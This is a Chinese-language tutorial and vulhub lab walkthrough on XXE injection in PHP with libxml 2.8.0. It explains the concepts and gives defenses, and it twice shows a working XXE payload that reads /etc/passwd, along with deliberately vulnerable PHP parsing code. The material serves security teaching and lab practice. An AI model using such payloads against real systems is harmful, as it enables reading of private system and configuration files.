0x00 预备知识
XXE是什么?
XXE(XML External Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml 库,而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持 file:// 和 ftp:// 等协议,导致可加载恶意外部文件和代码,造成 任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
典型攻击如下:
<?xml version="1.0" encoding="utf-8"?> # XML声明,表明了版本以及编码方式
<!DOCTYPE xxe[ # 内部DTD
<!ELEMENT test ANY > # 声明了一个约束元素,任何内容都可以
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> # 一个内部实体,名字是xxe
<test>
<name>&xxe;</name> # XML部分,对实体的引用
</test>
定义实体必须写在DTD部分
为什么使用DTD?
- 通过DTD,每一个XML文件均可携带一个有关自身格式的说明
- 每个独立的团体可一致地使用某个标准的 DTD 来交换数据
- 应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
- 可以使用 DTD 来验证自身的数据
- DTD(文档类型定义 Document Type Defination)的目的是定义 XML 文档的结构,它使用多个合法元素来定义文档结构
- XML 和 DTD 的关系就像是对象和类的关系,DTD 规定了 XML 的类型
什么是XML?
- XML 是可扩展标记语言(EXtensible Markup Language);
- XML 和 HTML 格式差不多,但 XML 一般用于传输和存储数据,HTML 一般用于显示数据;
- XML 标签没有被于定义,需要自行定义标签;
- XML 被设计为具有自我描述性;
- XML 是 W3C 的推荐标准
XXE原理
有了 XML 实体,关键字 ‘SYSTEM’ 会令 XML 解析器从URI中读取内容,并允许它在 XML 文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)
XXE 的危害有:
- 读取任意文件;
- 命令执行(php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装);
- 内网探测/SSRF(可以利用http://协议,发起http请求。可以利用该请求去探查内网,进行SSRF攻击。)
利用 XXE 对站点进行渗透一般有以下几个步骤:
- 首先读取核心内容(如配置文件等,如果读取的文件数据有空格的话,是读不出来的,但可以用base64编码);
- 其次用 xml 将其和某个网址页面进行拼接(拼接的主要原因是 xml 值存储数据不一定会输出因此需要将数据外带);
- 拼接完成后访问页面就可以启动后端代码,然后后端代码将数据存储在指定文件内;
- 最后直接访问该文件获取传送出的数据。
外部引用可支持http,file等协议,不用的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
XXE漏洞挖掘
通过手工篡改网站中xml实体中的头部,加入相关的读取文件或者是链接,或者是命令执行等,如 file:///$path/file.txt;http://url/file.txt;看看能否显示出来
防御XXE
- 使用开发语言提供的禁用外部实体的方法
PHP:libxml_disable_entity_loader(true);
其他语言:https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html - 过滤用户提交的XML数据
关键词:SYSTEM
和PUBLIC
0x01 复现环境
漏洞环境:https://vulhub.org/#/environments/php/php_xxe/
- PHP 7.0.30
- libxml 2.8.0
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。
0x02 漏洞复现
访问主页,发现libxml版本低于2.9.0:
目录下有dom.php、index.php、SimpleXMLElement.php、simplexml_load_string.php其中dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞。
dom.php:DOMDocument :: loadXML() // 从字符串加载xml文档
<?php
$data = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($data);
print_r($dom);
SimpleXMLElement.php:SimpleXMLElement类标识xml文档中的元素
<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);
simplexml_load_string.php:simplexml_load_string() // 接受格式正确的XML字符串,并将其作为对象返回。
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
burp抓包进行就修改,加入如下代码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<test>
<name>&xxe;</name>
</test>
成功读取文件:
参考链接:
https://www.136.la/jingpin/show-15455.html(XXE漏洞详解)
https://blog.csdn.net/xmd213131/article/details/105384795(Vulhub-php_xxe)
https://blog.csdn.net/sinat_32366329/article/details/80188837(XML之自定义DTD约束)
https://cloud.tencent.com/developer/article/1171346(XXE漏洞利用技巧)